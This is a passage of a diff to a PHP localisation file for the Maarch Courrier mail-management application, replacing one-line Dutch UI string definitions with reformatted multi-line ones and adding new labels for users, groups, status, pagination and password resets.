(!defined('_ADD_GRANT')) { define('_ADD_GRANT', 'Toegang toevoegen');} -if (!defined('_UP_GRANT')) { define('_UP_GRANT', 'Toegang wijzigen');} -if (!defined('_USERS_LIST_IN_GROUP')) { define('_USERS_LIST_IN_GROUP', 'Gebruikerslijst van de groep');} -if (!defined('_CHOOSE_GROUP_ADMIN')) { define('_CHOOSE_GROUP_ADMIN', 'Een groep kiezen');} -if (!defined('_USERS_LIST')) { define('_USERS_LIST', 'Gebruikerslijst');} -if (!defined('_ADD_USER')) { define('_ADD_USER', 'Een gebruiker toevoegen');} -if (!defined('_ALL_USERS')) { define('_ALL_USERS', 'Alle gebruikers');} -if (!defined('_USERS')) { define('_USERS', 'gebruikers');} -if (!defined('_USER_ADDITION')) { define('_USER_ADDITION', 'Toevoeging van een gebruiker');} -if (!defined('_USER_MODIFICATION')) { define('_USER_MODIFICATION', 'Wijziging van een gebruiker');} -if (!defined('_MODIFY_USER')) { define('_MODIFY_USER', 'De gebruiker wijzigen');} -if (!defined('_NOTES')) { define('_NOTES', 'Opmerkingen');} -if (!defined('_NOTE1')) { define('_NOTE1', 'De verplichte velden worden met een rood sterretje aangegeven');} -if (!defined('_NOTE2')) { define('_NOTE2', 'De primaire groep is verplicht');} -if (!defined('_NOTE3')) { define('_NOTE3', 'De eerste geselecteerde groep is de primaire groep');} -if (!defined('_USER_GROUPS_TITLE')) { define('_USER_GROUPS_TITLE', 'De gebruiker behoort tot de volgende groepen');} -if (!defined('_USER_ENTITIES_TITLE')) { define('_USER_ENTITIES_TITLE', 'De gebruiker behoort tot de volgende eenheden');} -if (!defined('_DELETE_GROUPS')) { define('_DELETE_GROUPS', 'Groep(en) verwijderen');} -if (!defined('_ADD_TO_GROUP')) { define('_ADD_TO_GROUP', 'Aan een groep toevoegen');} -if (!defined('_USER_BELONGS_NO_GROUP')) { define('_USER_BELONGS_NO_GROUP', 'De gebruiker behoort tot geen enkele groep');} -if (!defined('_USER_BELONGS_NO_ENTITY')) { define('_USER_BELONGS_NO_ENTITY', 'De gebruiker behoort tot geen enkele eenheid');} -if (!defined('_CHOOSE_ONE_GROUP')) { define('_CHOOSE_ONE_GROUP', 'Kies minstens een groep');} -if (!defined('_CHOOSE_GROUP')) { define('_CHOOSE_GROUP', 'Kies een groep');} -if (!defined('_ROLE')) { define('_ROLE', 'Functie');} -if (!defined('_USER_ACCESS_DEPARTMENT')) { define('_USER_ACCESS_DEPARTMENT', 'De gebruiker heeft toegang tot de volgende diensten');} -if (!defined('_FIRST_PSW')) { define('_FIRST_PSW', 'Het eerste wachtwoord');} -if (!defined('_SECOND_PSW')) { define('_SECOND_PSW', 'Het tweede wachtwoord');} -if (!defined('_PASSWORD_MODIFICATION')) { define('_PASSWORD_MODIFICATION', 'Wijziging van wachtwoord');} -if (!defined('_PASSWORD_FOR_USER')) { define('_PASSWORD_FOR_USER', 'Het wachtwoord voor de gebruiker');} -if (!defined('_HAS_BEEN_RESET')) { define('_HAS_BEEN_RESET', 'werd gereset');} -if (!defined('_NEW_PASW_IS')) { define('_NEW_PASW_IS', 'Het nieuwe wachtwoord is');} -if (!defined('_DURING_NEXT_CONNEXION')) { define('_DURING_NEXT_CONNEXION', 'Bij de volgende verbinding');} -if (!defined('_MUST_CHANGE_PSW')) { define('_MUST_CHANGE_PSW', 'moet zijn wachtwoord wijzigen');} -if (!defined('_NEW_PASSWORD_USER')) { define('_NEW_PASSWORD_USER', 'Wachtwoord van de gebruiker opnieuw instellen');} -if (!defined('_PASSWORD_NOT_CHANGED')) { define('_PASSWORD_NOT_CHANGED', 'Probleem bij het wijziging van het wachtwoord');} -if (!defined('_ALREADY_CREATED_AND_DELETED')) { define('_ALREADY_CREATED_AND_DELETED', 'De gevraagde gebruiker werd verwijderd. Klik bovenaan links op opnieuw activeren om het opnieuw toe te voegen');} -if (!defined('_REACTIVATE')) { define('_REACTIVATE', 'Opnieuw activeren');} -if (!defined('_DOCTYPES_LIST')) { define('_DOCTYPES_LIST', 'Lijst van de documenttypes');} -if (!defined('_TYPES')) { define('_TYPES', 'types');} -if (!defined('_MORE_THAN_ONE')) { define('_MORE_THAN_ONE', 'Herhaald stuk');} -if (!defined('_START_DATE')) { define('_START_DATE', 'Startdatum');} -if (!defined('_END_DATE')) { define('_END_DATE', 'Einddatum');} -if (!defined('_FIELD')) { define('_FIELD', 'Veld');} -if (!defined('_USED')) { define('_USED', 'Gebruikt');} -if (!defined('_MANDATORY')) { define('_MANDATORY', 'Verplicht');} -if (!defined('_ITERATIVE')) { define('_ITERATIVE', 'Herhalend');} -if (!defined('_NATURE_FIELD')) { define('_NATURE_FIELD', 'Aard veld');} -if (!defined('_TYPE_FIELD')) { define('_TYPE_FIELD', 'Type veld');} -if (!defined('_DB_COLUMN')) { define('_DB_COLUMN', 'Kolom Database');} -if (!defined('_FIELD_VALUES')) { define('_FIELD_VALUES', 'Waarden');} -if (!defined('_STRUCTURE')) { define('_STRUCTURE', 'Map');} -if (!defined('_FONT_COLOR')) { define('_FONT_COLOR', 'Kleur van het lettertype');} -if (!defined('_FONT_SIZE')) { define('_FONT_SIZE', 'Grootte van het lettertype');} -if (!defined('_CSS_STYLE')) { define('_CSS_STYLE', 'Stijl');} -if (!defined('_CHOOSE_STYLE')) { define('_CHOOSE_STYLE', 'Kies een stijl');} -if (!defined('_BLACK')) { define('_BLACK', 'Zwart');} -if (!defined('_BEIGE')) { define('_BEIGE', 'Beige');} -if (!defined('_BLUE')) { define('_BLUE', 'Blauw');} -if (!defined('_BLUE_BOLD')) { define('_BLUE_BOLD', 'Blauw (vet)');} -if (!defined('_GREY')) { define('_GREY', 'Grijs');} -if (!defined('_YELLOW')) { define('_YELLOW', 'Geel');} -if (!defined('_BROWN')) { define('_BROWN', 'Bruin');} -if (!defined('_BLACK_BOLD')) { define('_BLACK_BOLD', 'Zwart (vet)');} -if (!defined('_ORANGE')) { define('_ORANGE', 'Oranje');} -if (!defined('_ORANGE_BOLD')) { define('_ORANGE_BOLD', 'Oranje (vet)');} -if (!defined('_PINK')) { define('_PINK', 'Roze');} -if (!defined('_RED')) { define('_RED', 'Rood');} -if (!defined('_GREEN')) { define('_GREEN', 'Groen');} -if (!defined('_PURPLE')) { define('_PURPLE', 'Paars');} -if (!defined('_SUBFOLDER')) { define('_SUBFOLDER', 'submap');} -if (!defined('_ATTACH_STRUCTURE')) { define('_ATTACH_STRUCTURE', 'Aan een map koppelen');} -if (!defined('_CHOOSE_STRUCTURE')) { define('_CHOOSE_STRUCTURE', 'Een map kiezen');} -if (!defined('_DEL_SUBFOLDER')) { define('_DEL_SUBFOLDER', 'Submap verwijderen');} -if (!defined('_SUBFOLDER_DELETED')) { define('_SUBFOLDER_DELETED', 'Submap verwijderd');} -if (!defined('_STATUS_LIST')) { define('_STATUS_LIST', 'Statussenlijst');} -if (!defined('_ADD_STATUS')) { define('_ADD_STATUS', 'Nieuwe status toevoegen');} -if (!defined('_ALL_STATUS')) { define('_ALL_STATUS', 'Alle statussen');} -if (!defined('_STATUS_PLUR')) { define('_STATUS_PLUR', 'Status(sen)');} -if (!defined('_STATUS_SING')) { define('_STATUS_SING', 'status');} -if (!defined('_TO_PROCESS')) { define('_TO_PROCESS', 'Te verwerken');} -if (!defined('_IN_PROGRESS')) { define('_IN_PROGRESS', 'Bezig');} -if (!defined('_FIRST_WARNING')) { define('_FIRST_WARNING', '1e herinnering');} -if (!defined('_SECOND_WARNING')) { define('_SECOND_WARNING', '2e herinnering');} -if (!defined('_CLOSED')) { define('_CLOSED', 'Afgesloten');} -if (!defined('_NEW')) { define('_NEW', 'Nieuw(e)');} -if (!defined('_NEW_ITEM')) { define('_NEW_ITEM', 'Nieuw(e)');} -if (!defined('_LATE')) { define('_LATE', 'Te laat');} -if (!defined('_STATUS_MODIFIED')) { define('_STATUS_MODIFIED', 'Wijziging van een status');} -if (!defined('_IS_SYSTEM')) { define('_IS_SYSTEM', 'Systeem');} -if (!defined('_ADMIN_STATUS')) { define('_ADMIN_STATUS', 'Statussen');} -if (!defined('_ACTION_LIST')) { define('_ACTION_LIST', 'Actielijst');} -if (!defined('_ADMIN_ACTIONS')) { define('_ADMIN_ACTIONS', 'Acties');} +if (!defined('_ID_TO_DISPLAY')) { + define('_ID_TO_DISPLAY', 'chrono_number'); +} +if (!defined('_ADDED')) { + define('_ADDED', 'toegevoegd'); +} +if (!defined('_UPDATED')) { + define('_UPDATED', 'gewijzigd'); +} +if (!defined('_DELETED')) { + define('_DELETED', 'verwijderd'); +} +if (!defined('_PLEASE_CHOOSE_AN_ATTACHMENT')) { + define('_PLEASE_CHOOSE_AN_ATTACHMENT', 'Voeg een bijlage toe a.u.b.'); +} +if (!defined('_ADD_ATTACHMENT_TO_SEND_TO_CONTACT')) { + define('_ADD_ATTACHMENT_TO_SEND_TO_CONTACT', 'Voeg een bijlage toe vooraleer deze mail naar het contact te verzenden'); +} +if (!defined('_PROCESSING_MODE')) { + define('_PROCESSING_MODE', 'Verwerkingswijze'); +} +if (!defined('_ADMIN_USERS')) { + define('_ADMIN_USERS', 'Gebruikers'); +} +if (!defined('_ADMIN_GROUPS')) { + define('_ADMIN_GROUPS', 'Gebruikersgroepen'); +} +if (!defined('_VIEW_HISTORY')) { + define('_VIEW_HISTORY', 'Geschiedenis'); +} +if (!defined('_VIEW_HISTORY_BATCH')) { + define('_VIEW_HISTORY_BATCH', 'Geschiedenis van de batches'); +} +if (!defined('_VIEW_HISTORY_BATCH_DESC')) { + define('_VIEW_HISTORY_BATCH_DESC', 'De geschiedenis van de batches raadplegen'); +} +if (!defined('_ADMIN_SERVICE')) { + define('_ADMIN_SERVICE', 'Administratiedienst'); +} +if (!defined('_XML_PARAM_SERVICE_DESC')) { + define('_XML_PARAM_SERVICE_DESC', 'Weergave XML-configuratie van de diensten'); +} +if (!defined('_XML_PARAM_SERVICE')) { + define('_XML_PARAM_SERVICE', 'Weergave XML-configuratie van de diensten'); +} +if (!defined('_MODULES_SERVICES')) { + define('_MODULES_SERVICES', 'Diensten bepaald door de modules'); +} +if (!defined('_APPS_SERVICES')) { + define('_APPS_SERVICES', 'Diensten bepaald door de applicatie'); +} +if (!defined('_ADMIN_STATUS_DESC')) { + define('_ADMIN_STATUS_DESC', 'Statussen aanmaken of wijzigen.'); +} +if (!defined('_NO_RIGHTS_ON')) { + define('_NO_RIGHTS_ON', 'Geen recht op'); +} +if (!defined('_NO_LABEL_FOUND')) { + define('_NO_LABEL_FOUND', 'Geen label gevonden voor deze dienst'); +} +if (!defined('_VERSION_BASE_AND_XML_BASEVERSION_NOT_MATCH')) { + define('_VERSION_BASE_AND_XML_BASEVERSION_NOT_MATCH', 'Let op: Het gegevensmodel van Maarch Courrier moet bijgewerkt worden...'); +} +if (!defined('_MODE')) { + define('_MODE', 'Modus'); +} +if (!defined('_GO_TO_PAGE')) { + define('_GO_TO_PAGE', 'Naar pagina'); +} +if (!defined('_NEXT')) { + define('_NEXT', 'Volgende'); +} +if (!defined('_NEXT_PAGE')) { + define('_NEXT_PAGE', 'Volgende'); +} +if (!defined('_PREVIOUS')) { + define('_PREVIOUS', 'Vorige'); +} +if (!defined('_PREVIOUS_PAGE')) { + define('_PREVIOUS_PAGE', 'Vorige'); +} +if (!defined('_ALPHABETICAL_LIST')) { + define('_ALPHABETICAL_LIST', 'Alfabetische lijst'); +} +if (!defined('_ASC_SORT')) { + define('_ASC_SORT', 'Oplopende sortering'); +} +if (!defined('_DESC_SORT')) { + define('_DESC_SORT', 'Aflopende sortering'); +} +if (!defined('_ACCESS_LIST_STANDARD')) { + define('_ACCESS_LIST_STANDARD', 'Weergave van eenvoudige lijsten'); +} +if (!defined('_ACCESS_LIST_EXTEND')) { + define('_ACCESS_LIST_EXTEND', 'Weergave van uitgebreide lijsten'); +} +if (!defined('_DISPLAY')) { + define('_DISPLAY', 'Weergave'); +} +if (!defined('_NO_RECORD')) { + define('_NO_RECORD', 'Geen onderdelen'); +} +if (!defined('_RECORD')) { + define('_RECORD', 'element(en)'); +} +if (!defined('_DELETE')) { + define('_DELETE', 'Verwijderen'); +} +if (!defined('_ADD')) { + define('_ADD', 'Toevoegen'); +} +if (!defined('_REMOVE')) { + define('_REMOVE', 'Verwijderen'); +} +if (!defined('_MODIFY')) { + define('_MODIFY', 'Wijzigen'); +} +if (!defined('_SUSPEND')) { + define('_SUSPEND', 'Opschorten'); +} +if (!defined('_AUTHORIZE')) { + define('_AUTHORIZE', 'Verlenen'); +} +if (!defined('_CHOOSE')) { + define('_CHOOSE', 'Kiezen'); +} +if (!defined('_SEND')) { + define('_SEND', 'Verzenden'); +} +if (!defined('_SEARCH')) { + define('_SEARCH', 'Opzoeken'); +} +if (!defined('_RESET')) { + define('_RESET', 'Resetten'); +} +if (!defined('_VALIDATE')) { + define('_VALIDATE', 'Valideren'); +} +if (!defined('_CANCEL')) { + define('_CANCEL', 'Annuleren'); +} +if (!defined('_ADDITION')) { + define('_ADDITION', 'Toevoeging'); +} +if (!defined('_MODIFICATION')) { + define('_MODIFICATION', 'Aanpassing'); +} +if (!defined('_DIFFUSION')) { + define('_DIFFUSION', 'Delen'); +} +if (!defined('_DELETION')) { + define('_DELETION', 'Verwijderen'); +} +if (!defined('_SUSPENSION')) { + define('_SUSPENSION', 'Opschorten'); +} +if (!defined('_VALIDATION')) { + define('_VALIDATION', 'Validering'); +} +if (!defined('_REDIRECTION')) { + define('_REDIRECTION', 'Doorsturen'); +} +if (!defined('_REDIRECTION_DESC')) { + define('_REDIRECTION_DESC', 'Opent een modaliteit waarmee een nieuwe verwerkende gebruiker gekozen kan worden OF die de verwerkende dienst met een nieuwe distributielijst opnieuw kan instellen.'); +} +if (!defined('_DUPLICATION')) { + define('_DUPLICATION', 'Dupliceren'); +} +if (!defined('_PROPOSITION')) { + define('_PROPOSITION', 'Voorstel'); +} +if (!defined('_ERR')) { + define('_ERR', 'Fout'); +} +if (!defined('_CLOSE')) { + define('_CLOSE', 'Afsluiten'); +} +if (!defined('_CLOSE_WINDOW')) { + define('_CLOSE_WINDOW', 'Het venster sluiten'); +} +if (!defined('_DIFFUSE')) { + define('_DIFFUSE', 'Delen'); +} +if (!defined('_DOWN')) { + define('_DOWN', 'Naar omlaag gaan'); +} +if (!defined('_UP')) { + define('_UP', 'Naar omhoog gaan'); +} +if (!defined('_REDIRECT')) { + define('_REDIRECT', 'Doorsturen'); +} +if (!defined('_DELETED')) { + define('_DELETED', 'Verwijderd'); +} +if (!defined('_CONTINUE')) { + define('_CONTINUE', 'Verder'); +} +if (!defined('_VIEW')) { + define('_VIEW', 'Weergave'); +} +if (!defined('_CHOOSE_ACTION')) { + define('_CHOOSE_ACTION', 'Kies een actie'); +} +if (!defined('_ACTIONS')) { + define('_ACTIONS', 'Actie(s)'); +} +if (!defined('_ACTION_PAGE')) { + define('_ACTION_PAGE', 'Resultaatpagina van de actie'); +} +if (!defined('_INFOS_ACTIONS')) { + define('_INFOS_ACTIONS', 'U moet minstens een status en/of een script kiezen.'); +} +if (!defined('_SAVE_CONFIRM')) { + define('_SAVE_CONFIRM', 'Bevestiging Opslag'); +} +if (!defined('_SAVED_ALREADY_EXIST')) { + define('_SAVED_ALREADY_EXIST', 'Reeds bestaande opslag'); +} +if (!defined('_OK_FOR_CONFIRM')) { + define('_OK_FOR_CONFIRM', 'Wilt u de opslag bevestigen?'); +} +if (!defined('_ID')) { + define('_ID', 'Gebruikersnaam'); +} +if (!defined('_PASSWORD')) { + define('_PASSWORD', 'Wachtwoord'); +} +if (!defined('_GROUP')) { + define('_GROUP', 'Groep'); +} +if (!defined('_USER')) { + define('_USER', 'Gebruiker'); +} +if (!defined('_SENDER')) { + define('_SENDER', 'Afzender'); +} +if (!defined('_DESC')) { + define('_DESC', 'Beschrijving'); +} +if (!defined('_LASTNAME')) { + define('_LASTNAME', 'Naam'); +} +if (!defined('_THE_LASTNAME')) { + define('_THE_LASTNAME', 'De naam'); +} +if (!defined('_THE_FIRSTNAME')) { + define('_THE_FIRSTNAME', 'De voornaam'); +} +if (!defined('_THE_ID')) { + define('_THE_ID', 'De gebruikersnaam'); +} +if (!defined('_FIRSTNAME')) { + define('_FIRSTNAME', 'Voornaam'); +} +if (!defined('_INITIALS')) { + define('_INITIALS', 'Initialen'); +} +if (!defined('_STATUS')) { + define('_STATUS', 'Status'); +} +if (!defined('_DEPARTMENT')) { + define('_DEPARTMENT', 'Afdeling'); +} +if (!defined('_FUNCTION')) { + define('_FUNCTION', 'Functie'); +} +if (!defined('_NUMBER')) { + define('_NUMBER', 'Nummer'); +} +if (!defined('_PHONE_NUMBER')) { + define('_PHONE_NUMBER', 'Telefoonnummer'); +} +if (!defined('_MAIL')) { + define('_MAIL', 'Brief'); +} +if (!defined('_EMAIL')) { + define('_EMAIL', 'E-mail'); +} +if (!defined('_DOCTYPE')) { + define('_DOCTYPE', 'Documenttype'); +} +if (!defined('_DOCTYPES_MAIL')) { + define('_DOCTYPES_MAIL', 'Brieftype(s)'); +} +if (!defined('_TYPE')) { + define('_TYPE', 'Type'); +} +if (!defined('_URL')) { + define('_URL', 'URL'); +} +if (!defined('_NO_REPLACEMENT')) { + define('_NO_REPLACEMENT', 'GEEN VERVANGING'); +} +if (!defined('_SELECT_ALL')) { + define('_SELECT_ALL', 'Alles selecteren'); +} +if (!defined('_DATE')) { + define('_DATE', 'Datum'); +} +if (!defined('_ACTION')) { + define('_ACTION', 'Actie'); +} +if (!defined('_COMMENTS')) { + define('_COMMENTS', 'Opmerkingen'); +} +if (!defined('_ENABLED')) { + define('_ENABLED', 'Toegang'); +} +if (!defined('_DISABLED')) { + define('_DISABLED', 'Opgeschort'); +} +if (!defined('_NOT_ENABLED')) { + define('_NOT_ENABLED', 'Opgeschort'); +} +if (!defined('_RECIPIENT')) { + define('_RECIPIENT', 'Ontvanger'); +} +if (!defined('_START')) { + define('_START', 'Start'); +} +if (!defined('_END')) { + define('_END', 'Einde'); +} +if (!defined('_NOT_VALID')) { + define('_NOT_VALID', 'ongeldig'); +} +if (!defined('_KEYWORD')) { + define('_KEYWORD', 'Sleutelwoord'); +} +if (!defined('_NO_KEYWORD')) { + define('_NO_KEYWORD', 'Geen sleutelwoord'); +} +if (!defined('_INDEXING')) { + define('_INDEXING', 'Indexering'); +} +if (!defined('_QUALIFY')) { + define('_QUALIFY', 'Kwalificatie'); +} +if (!defined('_REALLY_SUSPEND')) { + define('_REALLY_SUSPEND', 'Wilt u echt opschorten'); +} +if (!defined('_REALLY_AUTHORIZE')) { + define('_REALLY_AUTHORIZE', 'Wilt u echt toelaten'); +} +if (!defined('_REALLY_DELETE')) { + define('_REALLY_DELETE', 'Wilt u echt verwijderen'); +} +if (!defined('_REALLY_CONTINUE')) { + define('_REALLY_CONTINUE', 'Wilt u echt verdergaan'); +} +if (!defined('_DEFINITIVE_ACTION')) { + define('_DEFINITIVE_ACTION', 'Deze actie is definitief'); +} +if (!defined('_AND')) { + define('_AND', 'en'); +} +if (!defined('_YES')) { + define('_YES', 'Ja'); +} +if (!defined('_NO')) { + define('_NO', 'Nee'); +} +if (!defined('_UNKNOWN')) { + define('_UNKNOWN', 'Onbekend'); +} +if (!defined('_SINCE')) { + define('_SINCE', 'Sinds'); +} +if (!defined('_FOR')) { + define('_FOR', 'Tot'); +} +if (!defined('_HELLO')) { + define('_HELLO', 'Hallo'); +} +if (!defined('_OBJECT')) { + define('_OBJECT', 'Onderwerp'); +} +if (!defined('_BACK')) { + define('_BACK', 'Terug'); +} +if (!defined('_FORMAT')) { + define('_FORMAT', 'Indeling'); +} +if (!defined('_SIZE')) { + define('_SIZE', 'Grootte'); +} +if (!defined('_DOC')) { + define('_DOC', 'Document'); +} +if (!defined('_THE_DOC')) { + define('_THE_DOC', 'Het document'); +} +if (!defined('_BYTES')) { + define('_BYTES', 'bytes'); +} +if (!defined('_OR')) { + define('_OR', 'of'); +} +if (!defined('_NOT_AVAILABLE')) { + define('_NOT_AVAILABLE', 'Niet beschikbaar'); +} +if (!defined('_SELECTION')) { + define('_SELECTION', 'Selectie'); +} +if (!defined('_AND')) { + define('_AND', 'en'); +} +if (!defined('_FILE')) { + define('_FILE', 'Bestand'); +} +if (!defined('_UNTIL')) { + define('_UNTIL', 'op'); +} +if (!defined('_ALL')) { + define('_ALL', 'Alle'); +} +if (!defined('_SECOND')) { + define('_SECOND', 'seconde'); +} +if (!defined('_SECONDS')) { + define('_SECONDS', 'seconden'); +} +if (!defined('_PAGE_GENERATED_IN')) { + define('_PAGE_GENERATED_IN', 'Pagina aangemaakt in'); +} +if (!defined('_IS_EMPTY')) { + define('_IS_EMPTY', 'is leeg'); +} +if (!defined('_MUST_MAKE_AT_LEAST')) { + define('_MUST_MAKE_AT_LEAST', 'moet minstens bevatten'); +} +if (!defined('_CHARACTER')) { + define('_CHARACTER', ' teken'); +} +if (!defined('_CHARACTERS')) { + define('_CHARACTERS', ' tekens'); +} +if (!defined('MUST_BE_LESS_THAN')) { + define('MUST_BE_LESS_THAN', 'moet kleiner zijn dan'); +} +if (!defined('_WRONG_FORMAT')) { + define('_WRONG_FORMAT', 'heeft het verkeerde formaat'); +} +if (!defined('_WELCOME')) { + define('_WELCOME', 'Welkom bij Maarch Courrier !'); +} +if (!defined('_WELCOME_TITLE')) { + define('_WELCOME_TITLE', 'Homepage'); +} +if (!defined('_HELP')) { + define('_HELP', 'Hulp'); +} +if (!defined('_SEARCH_ADV_SHORT')) { + define('_SEARCH_ADV_SHORT', 'Geavanceerd zoeken'); +} +if (!defined('_SEARCH_SCOPE')) { + define('_SEARCH_SCOPE', 'Draagwijdte van de opzoeking'); +} +if (!defined('_SEARCH_SCOPE_HELP')) { + define('_SEARCH_SCOPE_HELP', 'Breidt de zoektocht uit naar de bakjes; laat de acties toe als er een bepaald bakje geselecteerd wordt'); +} +if (!defined('_RESULTS')) { + define('_RESULTS', 'Resulta(a)t(en)'); +} +if (!defined('_USERS_LIST_SHORT')) { + define('_USERS_LIST_SHORT', 'Gebruikerslijst'); +} +if (!defined('_MODELS_LIST_SHORT')) { + define('_MODELS_LIST_SHORT', 'Modellenlijst'); +} +if (!defined('_GROUPS_LIST_SHORT')) { + define('_GROUPS_LIST_SHORT', 'Groepenlijst'); +} +if (!defined('_DEPARTMENTS_LIST_SHORT')) { + define('_DEPARTMENTS_LIST_SHORT', 'Dienstenlijst'); +} +if (!defined('_BITMASK')) { + define('_BITMASK', 'Bitmask instelling'); +} +if (!defined('_DOCTYPES_LIST_SHORT')) { + define('_DOCTYPES_LIST_SHORT', 'Lijst van types'); +} +if (!defined('_BAD_MONTH_FORMAT')) { + define('_BAD_MONTH_FORMAT', 'Maand onjuist'); +} +if (!defined('_BAD_DAY_FORMAT')) { + define('_BAD_DAY_FORMAT', 'Dag onjuist'); +} +if (!defined('_BAD_YEAR_FORMAT')) { + define('_BAD_YEAR_FORMAT', 'Jaar onjuist'); +} +if (!defined('_BAD_FEBRUARY')) { + define('_BAD_FEBRUARY', 'De maand februari mag maximum 29 dagen tellen'); +} +if (!defined('_CHAPTER_SHORT')) { + define('_CHAPTER_SHORT', 'Hfst'); +} +if (!defined('_PROCESS_SHORT')) { + define('_PROCESS_SHORT', 'Verwerking'); +} +if (!defined('_CARD')) { + define('_CARD', 'Fiche'); +} +if (!defined('_LOGIN')) { + define('_LOGIN', 'Aanmelden'); +} +if (!defined('_RELOGIN')) { + define('_RELOGIN', 'Nieuwe verbinding'); +} +if (!defined('_RA_CODE')) { + define('_RA_CODE', 'Bijkomende toegangscode'); +} +if (!defined('_LOGO_ALT')) { + define('_LOGO_ALT', 'Terug naar homepage'); +} +if (!defined('_LOGOUT')) { + define('_LOGOUT', 'Afmelden'); +} +if (!defined('_MENU')) { + define('_MENU', 'Menu'); +} +if (!defined('_SUMMARY')) { + define('_SUMMARY', 'Inhoudsopgave'); +} +if (!defined('_MANAGE_REL_MODEL')) { + define('_MANAGE_REL_MODEL', 'Het herinneringsmodel beheren'); +} +if (!defined('_MANAGE_DOCTYPES')) { + define('_MANAGE_DOCTYPES', 'De documenttypes beheren'); +} +if (!defined('_MANAGE_DOCTYPES_DESC')) { + define('_MANAGE_DOCTYPES_DESC', 'De documenttypes beheren. De documenttypes zijn gekoppeld aan een documentenverzameling. Voor elk type kunt u de in te voeren indexen bepalen evenals deze die verplicht zijn.'); +} +if (!defined('_VIEW_HISTORY2')) { + define('_VIEW_HISTORY2', 'Weergave van de geschiedenis'); +} +if (!defined('_VIEW_HISTORY_BATCH2')) { + define('_VIEW_HISTORY_BATCH2', 'Weergave van de geschiedenis van de batches'); +} +if (!defined('_WORDING')) { + define('_WORDING', 'Omschrijving'); +} +if (!defined('_COLLECTION')) { + define('_COLLECTION', 'Verzameling'); +} +if (!defined('_GROUPS_LIST')) { + define('_GROUPS_LIST', 'Groepslijst'); +} +if (!defined('_ADMIN_GROUP')) { + define('_ADMIN_GROUP', 'Beheergroep'); +} +if (!defined('_ADD_GROUP')) { + define('_ADD_GROUP', 'Groep toevoegen'); +} +if (!defined('_ALL_GROUPS')) { + define('_ALL_GROUPS', 'Alle groepen'); +} +if (!defined('_GROUPS')) { + define('_GROUPS', 'groepen'); +} +if (!defined('_GROUP_ADDITION')) { + define('_GROUP_ADDITION', 'Toevoeging van een groep'); +} +if (!defined('_GROUP_MODIFICATION')) { + define('_GROUP_MODIFICATION', 'Wijziging van een groep'); +} +if (!defined('_SEE_GROUP_MEMBERS')) { + define('_SEE_GROUP_MEMBERS', 'De gebruikerslijst van deze groep bekijken'); +} +if (!defined('_SEE_DOCSERVERS_')) { + define('_SEE_DOCSERVERS_', 'De docserverslijst van dit type bekijken'); +} +if (!defined('_SEE_DOCSERVERS_LOCATION')) { + define('_SEE_DOCSERVERS_LOCATION', 'De docserverslijst van deze locatie bekijken'); +} +if (!defined('_OTHER_RIGHTS')) { + define('_OTHER_RIGHTS', 'Andere rechten'); +} +if (!defined('_MODIFY_GROUP')) { + define('_MODIFY_GROUP', 'De wijzigingen aanvaarden'); +} +if (!defined('_THE_GROUP')) { + define('_THE_GROUP', 'De groep'); +} +if (!defined('_HAS_NO_SECURITY')) { + define('_HAS_NO_SECURITY', 'heeft geen gedefinieerde beveiliging'); +} +if (!defined('_DEFINE_A_GRANT')) { + define('_DEFINE_A_GRANT', 'Definieer minstens een toegang'); +} +if (!defined('_MANAGE_RIGHTS')) { + define('_MANAGE_RIGHTS', 'Deze groep heeft toegang tot de volgende assets'); +} +if (!defined('_TABLE')) { + define('_TABLE', 'Tabel'); +} +if (!defined('_WHERE_CLAUSE')) { + define('_WHERE_CLAUSE', 'WHERE clause'); +} +if (!defined('_INSERT')) { + define('_INSERT', 'Invoeging'); +} +if (!defined('_UPDATE')) { + define('_UPDATE', 'Bijwerken'); +} +if (!defined('_REMOVE_ACCESS')) { + define('_REMOVE_ACCESS', 'Toegang verwijderen'); +} +if (!defined('_MODIFY_ACCESS')) { + define('_MODIFY_ACCESS', 'Toegang wijzigen'); +} +if (!defined('_UPDATE_RIGHTS')) { + define('_UPDATE_RIGHTS', 'Rechten bijwerken'); +} +if (!defined('_ADD_GRANT')) { + define('_ADD_GRANT', 'Toegang toevoegen'); +} +if (!defined('_UP_GRANT')) { + define('_UP_GRANT', 'Toegang wijzigen'); +} +if (!defined('_USERS_LIST_IN_GROUP')) { + define('_USERS_LIST_IN_GROUP', 'Gebruikerslijst van de groep'); +} +if (!defined('_CHOOSE_GROUP_ADMIN')) { + define('_CHOOSE_GROUP_ADMIN', 'Een groep kiezen'); +} +if (!defined('_USERS_LIST')) { + define('_USERS_LIST', 'Gebruikerslijst'); +} +if (!defined('_ADD_USER')) { + define('_ADD_USER', 'Een gebruiker toevoegen'); +} +if (!defined('_ALL_USERS')) { + define('_ALL_USERS', 'Alle gebruikers'); +} +if (!defined('_USERS')) { + define('_USERS', 'gebruikers'); +} +if (!defined('_USER_ADDITION')) { + define('_USER_ADDITION', 'Toevoeging van een gebruiker'); +} +if (!defined('_USER_MODIFICATION')) { + define('_USER_MODIFICATION', 'Wijziging van een gebruiker'); +} +if (!defined('_MODIFY_USER')) { + define('_MODIFY_USER', 'De gebruiker wijzigen'); +} +if (!defined('_NOTES')) { + define('_NOTES', 'Opmerkingen'); +} +if (!defined('_NOTE1')) { + define('_NOTE1', 'De verplichte velden worden met een rood sterretje aangegeven'); +} +if (!defined('_NOTE2')) { + define('_NOTE2', 'De primaire groep is verplicht'); +} +if (!defined('_NOTE3')) { + define('_NOTE3', 'De eerste geselecteerde groep is de primaire groep'); +} +if (!defined('_USER_GROUPS_TITLE')) { + define('_USER_GROUPS_TITLE', 'De gebruiker behoort tot de volgende groepen'); +} +if (!defined('_USER_ENTITIES_TITLE')) { + define('_USER_ENTITIES_TITLE', 'De gebruiker behoort tot de volgende eenheden'); +} +if (!defined('_DELETE_GROUPS')) { + define('_DELETE_GROUPS', 'Groep(en) verwijderen'); +} +if (!defined('_ADD_TO_GROUP')) { + define('_ADD_TO_GROUP', 'Aan een groep toevoegen'); +} +if (!defined('_USER_BELONGS_NO_GROUP')) { + define('_USER_BELONGS_NO_GROUP', 'De gebruiker behoort tot geen enkele groep'); +} +if (!defined('_USER_BELONGS_NO_ENTITY')) { + define('_USER_BELONGS_NO_ENTITY', 'De gebruiker behoort tot geen enkele eenheid'); +} +if (!defined('_CHOOSE_ONE_GROUP')) { + define('_CHOOSE_ONE_GROUP', 'Kies minstens een groep'); +} +if (!defined('_CHOOSE_GROUP')) { + define('_CHOOSE_GROUP', 'Kies een groep'); +} +if (!defined('_ROLE')) { + define('_ROLE', 'Functie'); +} +if (!defined('_USER_ACCESS_DEPARTMENT')) { + define('_USER_ACCESS_DEPARTMENT', 'De gebruiker heeft toegang tot de volgende diensten'); 